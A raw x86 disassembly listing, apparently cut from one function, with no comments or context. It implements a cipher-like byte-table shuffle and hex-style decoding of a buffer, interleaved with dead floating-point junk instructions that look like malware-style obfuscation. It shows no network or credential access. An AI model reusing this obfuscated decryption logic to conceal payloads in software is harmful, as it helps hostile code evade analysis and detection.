movzx eax, byte [ebp - 0x3773]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5700]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3773], bl
jmp 0x488d1d
movzx edx, byte [ebp - 0x3773]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5700]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3773], bl
jmp 0x488d1d
movzx ecx, byte [ebp - 0x3773]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5700]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3773], bl
jmp 0x488d1d
movzx eax, byte [ebp - 0x3773]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5700]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3773], bl
jmp 0x488d1d
movzx edx, byte [ebp - 0x3773]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x4e34]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x623c]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3773], cl
mov ecx, dword [ebp - 0x4e34]
add ecx, 1
mov dword [ebp - 0x4e34], ecx
movzx edx, byte [ebp - 0x419f]
cmp dword [ebp - 0x4e34], edx
jb 0x488d5b
mov dword [ebp - 0x4e34], 0
movzx eax, byte [ebp - 0x419f]
movzx ecx, byte [ebp - 0x3773]
add ecx, eax
mov byte [ebp - 0x3773], cl
movzx edx, byte [ebp - 0x3773]
and edx, dword [ebp - 0x5420]
mov dword [ebp - 0x48bc], edx
mov eax, dword [ebp - 0x58ec]
add eax, 1
mov dword [ebp - 0x58ec], eax
cmp dword [ebp - 0x58ec], 0xb
jbe 0x488d9a
mov eax, dword [ebp - 0x48bc]
xor edx, edx
div dword [ebp - 0x36c4]
mov dword [ebp - 0x48bc], edx
mov ecx, dword [ebp - 0x48bc]
cmp ecx, dword [ebp - 0x36c4]
ja 0x488bf7
mov edx, dword [ebp - 0x36c4]
cmp edx, dword [ebp - 0x48bc]
je 0x488e6c
mov eax, dword [ebp - 0x36c4]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov edx, dword [ebp - 0x48bc]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x36c4]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x48bc]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov edx, dword [ebp - 0x36c4]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x48bc]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x36c4]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov edx, dword [ebp - 0x48bc]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
mov ecx, dword [ebp - 0x36c4]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov byte [ecx + edx], al
jmp 0x488b9c
mov eax, 1
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3571], dl
mov eax, 1
imul ecx, eax, 3
lea edx, [ebp - 0xd9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3590], al
mov ecx, 1
imul edx, ecx, 5
lea eax, [ebp - 0xd9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3637], cl
mov edx, 1
imul eax, edx, 7
lea ecx, [ebp - 0xd9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3591], dl
movzx eax, byte [ebp - 0x3773]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35c1], dl
mov dword [ebp - 0x5c00], 0x20
cmp dword [ebp - 0x5c00], 2
jle 0x48b072
mov eax, dword [ebp - 0x5c00]
and eax, 1
jne 0x48b072
mov dword [ebp - 0x36c4], 0
mov dword [ebp - 0x38e4], 0
mov ecx, dword [ebp - 0x38e4]
add ecx, 1
mov dword [ebp - 0x38e4], ecx
mov dword [ebp - 0x3d50], 0
mov edx, dword [ebp - 0x36c4]
shl edx, 1
mov dword [ebp - 0x3d50], edx
mov dword [ebp - 0x3c40], 0
mov eax, dword [ebp - 0x3d50]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3c40]
mov dword [ebp - 0x3c40], ecx
mov dword [ebp - 0x3c44], 0
mov edx, dword [ebp - 0x3c44]
add edx, 0x5d
mov dword [ebp - 0x3c44], edx
mov dword [ebp - 0x3d4c], 0
mov eax, dword [ebp - 0x36c4]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d4c], eax
mov dword [ebp - 0x3c48], 0
mov ecx, dword [ebp - 0x3d4c]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3c48]
mov dword [ebp - 0x3c48], edx
mov dword [ebp - 0x3c4c], 0
mov eax, dword [ebp - 0x3c4c]
add eax, 0xe0
mov dword [ebp - 0x3c4c], eax
mov dword [ebp - 0x3c50], 0
mov ecx, dword [ebp - 0x3c40]
sub ecx, dword [ebp - 0x3c44]
add ecx, dword [ebp - 0x3c50]
mov dword [ebp - 0x3c50], ecx
mov dword [ebp - 0x3c54], 0
mov edx, dword [ebp - 0x3c48]
sub edx, dword [ebp - 0x3c4c]
add edx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3c54], edx
mov dword [ebp - 0x3d48], 0
mov eax, dword [ebp - 0x3c50]
shl eax, 4
mov dword [ebp - 0x3d48], eax
mov dword [ebp - 0x3d44], 0
mov ecx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], ecx
mov dword [ebp - 0x3d40], 0
mov edx, dword [ebp - 0x3d48]
or edx, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], edx
mov byte [ebp - 0x3638], 0
mov al, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], al
mov byte [ebp - 0x3636], 0
movss xmm0, dword [0x9db7e4]
movss dword [ebp - 0x46a8], xmm0
movss xmm0, dword [0x9db630]
movss dword [ebp - 0x58f0], xmm0
movss xmm0, dword [0x9db440]
movss dword [ebp - 0x4390], xmm0
movss xmm0, dword [ebp - 0x46a8]
addss xmm0, dword [ebp - 0x4390]
movss dword [ebp - 0x46a8], xmm0
movss xmm0, dword [ebp - 0x46a8]
addss xmm0, dword [ebp - 0x4390]
movss dword [ebp - 0x46a8], xmm0
movss xmm0, dword [ebp - 0x46a8]
mulss xmm0, dword [ebp - 0x4390]
movss dword [ebp - 0x46a8], xmm0
movss xmm0, dword [ebp - 0x4390]
comiss xmm0, dword [ebp - 0x46a8]
jbe 0x489162
movss xmm0, dword [ebp - 0x4390]
subss xmm0, dword [ebp - 0x58f0]
movss dword [ebp - 0x4390], xmm0
movss xmm0, dword [ebp - 0x4390]
addss xmm0, dword [ebp - 0x58f0]
movss dword [ebp - 0x4390], xmm0
movss xmm0, dword [ebp - 0x4390]
subss xmm0, dword [ebp - 0x58f0]
movss dword [ebp - 0x4390], xmm0
jmp 0x4891c3
movss xmm0, dword [ebp - 0x46a8]
addss xmm0, dword [ebp - 0x4390]
movss dword [ebp - 0x46a8], xmm0
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3636], al
movss xmm0, dword [ebp - 0x4390]
addss xmm0, dword [ebp - 0x58f0]
movss dword [ebp - 0x4390], xmm0
movss xmm0, dword [ebp - 0x46a8]
subss xmm0, dword [ebp - 0x4390]
movss dword [ebp - 0x46a8], xmm0
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3590]
add ecx, eax
mov byte [ebp - 0x3590], cl
mov dl, byte [ebp - 0x3571]
add dl, 1
mov byte [ebp - 0x3571], dl
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [ebp - 0x3636]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3636]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3637]
add eax, edx
mov byte [ebp - 0x3637], al
movzx ecx, byte [ebp - 0x3638]
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3637]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3591], cl
mov cl, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], cl
mov dl, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], dl
cmp dword [ebp - 0x36c4], 0
jbe 0x48938c
mov eax, dword [ebp - 0x36c4]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0xc9c]
mov dl, byte [ebp - 0x36fd]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x36c4]
add eax, 1
mov dword [ebp - 0x36c4], eax
mov ecx, dword [ebp - 0x38e4]
add ecx, 1
mov dword [ebp - 0x38e4], ecx
mov edx, dword [ebp - 0x36c4]
shl edx, 1
mov dword [ebp - 0x3d50], edx
mov eax, dword [ebp - 0x3d50]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c40], ecx
mov dword [ebp - 0x3c44], 0x5d
mov edx, dword [ebp - 0x36c4]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d4c], edx
mov eax, dword [ebp - 0x3d4c]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3c4c], 0xe0
mov edx, dword [ebp - 0x3c40]
sub edx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], edx
mov eax, dword [ebp - 0x3c48]
sub eax, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], eax
mov ecx, dword [ebp - 0x3c50]
shl ecx, 4
mov dword [ebp - 0x3d48], ecx
mov edx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], edx
mov eax, dword [ebp - 0x3d48]
or eax, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], eax
mov cl, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], cl
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea eax, [ebp - 0xd9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3636], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3590]
add edx, ecx
mov byte [ebp - 0x3590], dl
mov al, byte [ebp - 0x3571]
add al, 1
mov byte [ebp - 0x3571], al
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ebp - 0x3636]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3636]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3637]
add ecx, eax
mov byte [ebp - 0x3637], cl
movzx edx, byte [ebp - 0x3638]
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3637]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3591], dl
mov dl, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], dl
mov al, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], al
cmp dword [ebp - 0x36c4], 0
jbe 0x48964b
mov ecx, dword [ebp - 0x36c4]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0xc9c]
mov al, byte [ebp - 0x36fd]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x38e4]
add ecx, 4
mov dword [ebp - 0x38e4], ecx
mov edx, dword [ebp - 0x36c4]
add edx, 1
mov dword [ebp - 0x4e38], edx
jmp 0x48967a
mov eax, dword [ebp - 0x4e38]
add eax, 1
mov dword [ebp - 0x4e38], eax
mov ecx, dword [ebp - 0x4e38]
cmp ecx, dword [ebp - 0x38e4]
jge 0x489ab7
mov edx, dword [ebp - 0x36c4]
add edx, 1
mov dword [ebp - 0x36c4], edx
mov eax, dword [ebp - 0x36c4]
shl eax, 1
mov dword [ebp - 0x3d50], eax
mov ecx, dword [ebp - 0x3d50]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c40], edx
mov dword [ebp - 0x3c44], 0x5d
mov eax, dword [ebp - 0x36c4]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d4c], eax
mov ecx, dword [ebp - 0x3d4c]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c48], edx
mov dword [ebp - 0x3c4c], 0xe0
mov eax, dword [ebp - 0x3c40]
sub eax, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], eax
movsd xmm0, qword [0x9daed0]
movsd qword [ebp - 0x5170], xmm0
movsd xmm0, qword [0x9dabc0]
movsd qword [ebp - 0x602c], xmm0
movsd xmm0, qword [0x9da888]
movsd qword [ebp - 0x59c8], xmm0
movsd xmm0, qword [0x9da538]
movsd qword [ebp - 0x5708], xmm0
movsd xmm0, qword [ebp - 0x5170]
addsd xmm0, qword [ebp - 0x5708]
movsd qword [ebp - 0x5170], xmm0
movsd xmm0, qword [ebp - 0x59c8]
subsd xmm0, qword [ebp - 0x5708]
movsd qword [ebp - 0x59c8], xmm0
movsd xmm0, qword [ebp - 0x602c]
addsd xmm0, qword [ebp - 0x5708]
movsd qword [ebp - 0x602c], xmm0
movsd xmm0, qword [ebp - 0x5170]
mulsd xmm0, qword [ebp - 0x5708]
movsd qword [ebp - 0x5170], xmm0
movsd xmm0, qword [ebp - 0x59c8]
comisd xmm0, xmmword [ebp - 0x5170]
jbe 0x489824
movsd xmm0, qword [ebp - 0x5708]
divsd xmm0, qword [ebp - 0x5170]
movsd qword [ebp - 0x5708], xmm0
movsd xmm0, qword [ebp - 0x602c]
divsd xmm0, qword [ebp - 0x59c8]
movsd qword [ebp - 0x602c], xmm0
movsd xmm0, qword [ebp - 0x5708]
subsd xmm0, qword [ebp - 0x5170]
movsd qword [ebp - 0x5708], xmm0
movsd xmm0, qword [ebp - 0x59c8]
divsd xmm0, qword [ebp - 0x5708]
movsd qword [ebp - 0x59c8], xmm0
jmp 0x489896
movsd xmm0, qword [ebp - 0x5170]
subsd xmm0, qword [ebp - 0x59c8]
movsd qword [ebp - 0x5170], xmm0
movsd xmm0, qword [ebp - 0x5170]
mulsd xmm0, qword [ebp - 0x59c8]
movsd qword [ebp - 0x5170], xmm0
movsd xmm0, qword [ebp - 0x5708]
mulsd xmm0, qword [ebp - 0x602c]
movsd qword [ebp - 0x5708], xmm0
mov ecx, dword [ebp - 0x3c48]
sub ecx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], ecx
movsd xmm0, qword [ebp - 0x5170]
subsd xmm0, qword [ebp - 0x59c8]
movsd qword [ebp - 0x5170], xmm0
mov edx, dword [ebp - 0x3c50]
shl edx, 4
mov dword [ebp - 0x3d48], edx
mov eax, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], eax
mov ecx, dword [ebp - 0x3d48]
or ecx, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], ecx
mov dl, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], dl
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3636], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3590]
add eax, edx
mov byte [ebp - 0x3590], al
mov cl, byte [ebp - 0x3571]
add cl, 1
mov byte [ebp - 0x3571], cl
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
mov cl, byte [ebp - 0x3636]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3636]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3637]
add edx, ecx
mov byte [ebp - 0x3637], dl
movzx eax, byte [ebp - 0x3638]
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3637]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3591], al
mov al, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], al
mov cl, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], cl
cmp dword [ebp - 0x36c4], 0
jbe 0x489ab2
mov edx, dword [ebp - 0x36c4]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0xc9c]
mov cl, byte [ebp - 0x36fd]
mov byte [edx + eax], cl
jmp 0x48966b
mov edx, dword [ebp - 0x38e4]
add edx, 1
mov dword [ebp - 0x38e4], edx
mov eax, dword [ebp - 0x36c4]
add eax, 1
mov dword [ebp - 0x36c4], eax
mov ecx, dword [ebp - 0x38e4]
add ecx, 1
mov dword [ebp - 0x38e4], ecx
mov edx, dword [ebp - 0x36c4]
shl edx, 1
mov dword [ebp - 0x3d50], edx
mov eax, dword [ebp - 0x3d50]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c40], ecx
mov dword [ebp - 0x3c44], 0x5d
mov edx, dword [ebp - 0x36c4]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d4c], edx
mov eax, dword [ebp - 0x3d4c]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3c4c], 0xe0
mov edx, dword [ebp - 0x3c40]
sub edx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], edx
mov eax, dword [ebp - 0x3c48]
sub eax, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], eax
mov ecx, dword [ebp - 0x3c50]
shl ecx, 4
mov dword [ebp - 0x3d48], ecx
mov edx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], edx
mov eax, dword [ebp - 0x3d48]
or eax, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], eax
mov cl, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], cl
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea eax, [ebp - 0xd9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3636], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3590]
add edx, ecx
mov byte [ebp - 0x3590], dl
mov al, byte [ebp - 0x3571]
add al, 1
mov byte [ebp - 0x3571], al
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ebp - 0x3636]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3636]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3637]
add ecx, eax
mov byte [ebp - 0x3637], cl
movzx edx, byte [ebp - 0x3638]
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3637]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3591], dl
mov dl, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], dl
mov al, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], al
cmp dword [ebp - 0x36c4], 0
jbe 0x489d85
mov ecx, dword [ebp - 0x36c4]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0xc9c]
mov al, byte [ebp - 0x36fd]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x36c4]
add ecx, 1
mov dword [ebp - 0x36c4], ecx
mov edx, dword [ebp - 0x38e4]
add edx, 1
mov dword [ebp - 0x38e4], edx
mov eax, dword [ebp - 0x36c4]
shl eax, 1
mov dword [ebp - 0x3d50], eax
mov ecx, dword [ebp - 0x3d50]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c40], edx
mov dword [ebp - 0x3c44], 0x5d
mov eax, dword [ebp - 0x36c4]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d4c], eax
mov ecx, dword [ebp - 0x3d4c]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c48], edx
mov dword [ebp - 0x3c4c], 0xe0
mov eax, dword [ebp - 0x3c40]
sub eax, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], eax
mov ecx, dword [ebp - 0x3c48]
sub ecx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], ecx
mov edx, dword [ebp - 0x3c50]
shl edx, 4
mov dword [ebp - 0x3d48], edx
mov eax, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], eax
mov ecx, dword [ebp - 0x3d48]
or ecx, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], ecx
mov dl, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], dl
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3636], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3590]
add eax, edx
mov byte [ebp - 0x3590], al
mov cl, byte [ebp - 0x3571]
add cl, 1
mov byte [ebp - 0x3571], cl
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
